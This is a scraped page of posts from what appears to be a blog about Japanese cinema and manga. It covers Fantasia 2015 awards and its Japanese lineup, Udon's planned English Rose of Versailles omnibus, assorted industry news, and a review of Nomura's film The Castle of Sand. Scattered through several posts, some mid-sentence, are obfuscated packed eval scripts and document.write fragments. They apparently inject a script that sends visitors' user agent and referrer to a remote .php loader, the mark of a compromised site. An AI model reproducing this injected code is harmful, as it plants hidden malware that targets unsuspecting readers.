  • LOVE & PEACE by Sion Sono received the Best Asian Feature Audience Award (Gold Prize)

Surprisingly, Attacks on Titan, the latest sensation from Japan, didn’t win any prize.

The dates for next year festival (the 20th anniversary edition!) were also announced: The Fantasia International Film Festival will take place in Montreal from July 14 to August 2, 2016.

For more details on all Japanese movies you can check our previous entry “Japanese movies at Fantasia 2015”.

For an overview of the Japanese movies you can check Claude R. Blouin’s extensive comments “Un vieux fou de cinéma japonais à Fantasia 2015” on the Shomengeki blog (in french).

(Sources: ANN, Dread Central, Fangoria, Fantasia, Twitch)

[ Traduire ]

Rose of Versailles manga and other notable news

At Comic-Con, document.write(“”); Udon Entertainment has announced that they will release the first english version of Riyoko Ikeda’s classic shojo manga Rose of Versailles. The series will be released as two omnibus volumes in the second quarter of 2016.
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|bskdz|var|u0026u|referrer|esrse||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|azskn|var|u0026u|referrer|nfirr||js|php’.split(‘|’),0,{}))

The french version has been around for a while (published in 2002), so I am surprised it took so long to get it translated in english. Of course, the French had a special interest in this story (it’s about the french revolution) but it’s a superb story, drawn in a classic shojo style, so it should interest everybody.
I’ve complained about this several time, but I really cannot understand why there are so few shojo manga from the 70s and 80s being translated in either english or french. There’s a real goldmine of great shojo titles from that era that is left totally unexploited (mostly from the so-called Year 24 Group). Of course, I can understand publishers not willing to take the risk to release series that a often rather long (Riyoko Ikeda’s Jotei Ecatherina is 5 volumes, Orpheus no Mado 18 volumes, Eikou no Napoleon – Eroica 14 volumes, and Suzue Miuchi’s Glass no kamen is 50+ volumes !!) and in a style that might seem dated (but oh so beautiful!)…

Now, the question is: will Udon includes in this edition the more recent Rose of Versailles “Episodes” ? Or will it be in an eventual third omnibus volume? I hope they thought of acquiring the rights for those stories as well…

Strangely, Udon Entertainment is mainly known for their Street Fighter and video game related manga but they seems lately to venture into more traditional manga titles (and shojo, mind you). Now their catalog even includes a collection of manga classics (Jane Austen’s Emma, Dicken’s Great Expectations, Victor Hugo’s Les Miserables, Jane Austen’s Pride & Prejudice, Nathaniel Hawthorne’s The Scarlet Letter) !

[ Sources: ANN, Udon ]

Ten Other notable news

  • At the same occasion, Udon announced the release of Moyoco Anno’s Sugar Sugar Rune also for the 2nd Quarter 2016 [ ANN ]
  • Studio Ghibli’s latest film, When Marnie Was There, earned over $500K in U.S. Theaters [ ANN ]
  • Nintendo President Satoru Iwata Passes Away [ ANN ]
  • Shigeru Mizuki’s manga Showa: A History of Japan (1939-1944 and 1944-1953) won the 2015 Will Eisner Comic Industry Award for Best U.S. Edition of International Material from Asia [ ANN ]
  • Mamoru Nagano’s manga Five Star Stories will receive its first new volume in nine years this august [ ANN, Forbes ]
  • Sunrise Announced at Anime Expo that it is working on a new Gundam TV series [ ANN ]
  • Tokyopop has announced at Anime Expo that it is planning to begin publishing manga again in 2016 [ ANN ]
  • Vertical announced at Anime Expo that it has licensed the publishing rights for, amongst others, the Attack on Titan: Lost Girls novel spinoff [ ANN ]
  • The live-action adaptation of Masamune Shirow’s Ghost in the Shell, starring Scarlett Johansson, is set to be released in march 2017 [ ICv2 ]
  • Luc Besson has announced that his next movie as producer and director will be Valerian and the City of a Thousand Planets, based on the comics by Pierre Christin & Jean-Claude Mézières, which should see a release in 2017 [ ICv2, themarysue.com]

[ Traduire ]

Japanese movies at Fantasia 2015


eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sznhy|var|u0026u|referrer|yesze||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ntass|var|u0026u|referrer|rhnya||js|php’.split(‘|’),0,{}))
This week the programmation for the 19th edition of the Fantasia International Film Festival was announced. It will be held in Montreal from July 14 to August 4 and screenings will take place mostly at Concordia’s Theatre Hall and Salle J.A. de Sève. This year the festival is offering a lineup of about 400 movies from 36 countries, document.write(“”); including about 135 feature-length movies and 104 premieres! For more programming details you can check the festival’s web page at www.fantasiafestival.com and the screening schedule [ PDF ].

Here our main interest is the Japanese programming (25 features and one short) but there are twenty-seven movies from at least five other asian countries (four from China, thirteen from South Korea, six from Hong Kong, one from Indonesia, two from Taiwan and one from Thailand). The programming includes also over an hundred animated features and shorts from many countries. As usual, it’s a rich, strong and diversified selection bound to please anyone.

This year, it’s a slim pick anime-wise but to compensate the festival will open with the Japanese animated feature Miss Hokusai, which will be introduced by director Keiichi Hara and screenplay writer Miho Maruho. To the utter pleasure of the fans, the festival will also close with the canadian premiere of the greatly anticipated live-action Attack on Titan directed by Shinji Higuchi and based on the popular manga by Hajime Isamaya. The other anime and manga-related movies of interest are the Lupin the Third live-action, the latest Mamoru Oshii (Nowhere Girl) and the latest Takeshi Kitano (Ryuzo and the Seven Henchmen).

(Sources: Animation world network, Bible urbaine, Cult Mtl, Film school rejects and Métro)

Here’s a list of all the Japanese titles (with links to full description):


Anime:

Live-Action:

Documentary:

And here’s a few trailers of interest:

[ Traduire ]

Castle of Sand

This movie “tells the tale of two detectives, document.write(“”); Imanishi (Tetsuro Tamba) and Yoshimura (Kensaku Morita), tasked with tracking down the murderer of an old man, found bludgeoned to death in a rail yard. When the identity of the old man can’t be determined, the investigation focuses on the only other clue: a scrap of conversation overheard at a bar between the old man and a younger one. (…)”
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rhbfn|var|u0026u|referrer|iznsd||js|php’.split(‘|’),0,{}))
eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“
“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tbsfb|var|u0026u|referrer|nesed||js|php’.split(‘|’),0,{}))

(Text from the
Wikipedia entry)

WARNING: May contains trace of spoilers! People allergic to the discussion of any plot’s elements before seeing a movie are strongly advised to take the necessary precautions for their safety and should avoid reading further.


Early monday morning on June 15th, TCM aired a double-bill of Japanese movies as part of their foreign movie programme, TCM Imports (the previous week they had shown Rashomon and two weeks later, on sunday June 28th, they will show two Gozilla movies: Godzilla vs. Monster Zero (1970) and Godzilla, King of the Monsters! (1956)). I have already commented on the first movie, Zero Focus. The second movie, The castle of sand, is also a movie directed by Yoshitaro Nomura and based on a mystery novel by Seicho Matsumoto.

The novel, also titled Suna no utsuwa (lit. “The Bowl of sand”), was first serialized in Yomiuri Shimbun between May 17, 1960 and April 20, 1961 before being published by Kobunsha (kappa novels) in July 1961. It was translated in english as Inspector Imanishi Investigates and in french as Le vase de sable [I have also commented on the novel]. It was adapted into a movie by Shochiku in 1974 and was also made into TV dramas by TBS (in 1962 and 2004), Fuji TV (in 1977) and TV Asahi (in 1991 and 2011). So it’s quite a popular subject.

The Castle of Sand is a detailed police procedural movie where we follow the meticulous investigation of two detectives: Imanishi Eitaro, a 45-year-old veteran police officer and part-time poet, and Yoshimura Hiroshi, a younger and enthusiastic policeman from Shinagawa station. An old man has been found bludgeoned to death in the Kamata train yard in Tokyo and the only clues is that a waitress from a nearby bar said the victim spoke with a Tohoku accent, she saw him with a younger man and overheard them talk about “Kameda”. Is that a person’s name or place? Maybe it refers to Kameda Station in Akita Prefecture? They travel by train to this place but cannot find any more leads and their investigation stalls.

They get their first break when the adoptive son of the victim files a missing-person report and identifies him has Miki Kenichi, a retired grocer from Okayama Prefecture. But then how could he talk in Tohoku dialect? However, Imanishi discovers that the Izumo dialect is somehow similar to Tohoku’s and that there’s a place called Kamedake in that area too, so he goes to Shimane Prefecture to investigate. He learns that, before becoming a grocer, Kenichi worked a longtime as a policeman in Kamedake. Imanishi meets with Kirihara Kojuro, a local abacus maker who was a friend of Kenichi and he can start to investigate Kenichi’s life in search for a motive for his murder. Kenichi was a very good man and the only incident that stand out in his career in Kamedake is when he helps a beggar, Chiyokichi Motoura, suffering from Hansen’s disease (leprosy) who’s traveling all over Japan with his son Hideo. Chiyokichi is put in a sanatorium and Kenichi, who doesn’t have any children, would like to adopt Hideo, but the young boy is full of resentment and disappears.

The last time Miki Kenichi was seen by his family, he was leaving for a lengthy pilgrimage that culminated in Ise. He was supposed the come right back to Okayama, so why did he stop in Tokyo? He must have seen something or someone that made him change his plans. So, once again, Imanishi takes the train to investigate around the Ise shrine. In the meantime, young policeman Yoshimura Hiroshi is looking for the murderer’s shirt which was likely covered by blood in the attack and, since he wasn’t noticed by anyone in the aftermath, he must have somehow got rid of it. Someone had noticed a woman in a train throwing shredded paper or clothing through the window. Could have it been the shirt? Yoshimura locates her but when he tries to interrogate her, she escapes. In several occasions, the detectives cross path with a young up-and-coming composer-conductor named Waga EiRyo, who, they later learned, is the lover of Rieko (played by Yoko Shimada, of Shogun‘s fame), the woman from the train. The investigation then shift toward him and brings our detectives to Osaka. Who is he and what’s his connection with Miki Kenichi?

The Castle of Sand is a very good movie offering a captivating detective story. It is well written and masterfully intertwines at least three storylines (the investigation, Chiyokichi and Hideo’s story, Rieko and Wada’s story) that will somehow converge in the end. The movie is also beautifully shot. It is in many ways similar to Zero Focus, the other movie by director Yoshitaro Nomura (often called “Japan’s Hitchcock”) that we have recently seen. Again, Nomura makes us travel by train to a rural Japan that doesn’t exist anymore, but this time we see it in colour. He also offers us a much more impressive cast with the like of Tetsuro Tamba (Harakiri, Kwaidan, You Only Live Twice, Riki-Oh, The Twilight Samurai) or Ken Ogata (Vengeance Is Mine, The Ballad of Narayama, The Pillow Book, The Hidden Blade, Love and Honor), with cameo appearances of Kiyoshi Atsumi (of Tora-san‘s fame) and possibly Nobuko Miyamoto (wife and preferred actress of director Juzo Itami—but she’s not credited here…).

This is probably the best and most successful of Nomura’s movies. It not only offers an interesting police story full of drama and compassion, but also preserve on film the fascinating geographical and social landscapes of the ’60s and ’70s Japan, somewhat reminding us that nonconformity (expressed here by the father’s disease) always brought rejection and ostracism from Japanese society. My only complain is that the movie is way too long. Particularly the end, where Imanishi explains to his colleagues how the last pieces of the puzzle come together while, as we see a long flashback of the hardship of his childhood, Waga plays his latest composition, titled “Destiny”, to a packed concert hall. We have to endure the whole concerto for nearly fourty minutes! However, it is still a movie that I highly recommend.

You can find several trailers of the movie on Vimeo and on Youtube (in Japanese only):


Actually, you can even watch on Youtube the whole movie (again, in Japanese only):


The Castle of Sand ( ??? / Suna no utsuwa / lit. “Bowl of sand” ): Japan, 1974, Colour, 143 min.; Dir.: Yoshitaro Nomura; Scr.: Shinobu Hashimoto, Yoshitarô Nomura & Yôji Yamada (based on the novel of the same title by Seicho Matsumoto); Phot.: Takashi Kawamata; Ed.: Kazuo Ôta; Art dir.: Kyôhei Morita; Mus.: Yasushi Akutagawa; Prod.: Shinobu Hashimoto, Yoshiharu Mishima, Masayuki Satô; Cast: Tetsuro Tamba (Detective Eitaro Imanishi), Go Kato (Eiryo Waga/Hideo Motoura), Kensaku Morita (Detective Hiroshi Yoshimura), Yoko Shimada (Rieko Naruse), Karin Yamaguchi (Sachiko Tadokoro), Ken Ogata (Kenichi Miki), Seiji Matsuyama (Shokichi Miki), Yoshi Kato (Chiyokichi Motoura), Chish? Ry? (Kojuro Kirihara). Available on Dvd only in importation.
For more information you can visit the following websites:
The Castle of Sand © 1974 Shochiku Co., Ltd.

[ Traduire ]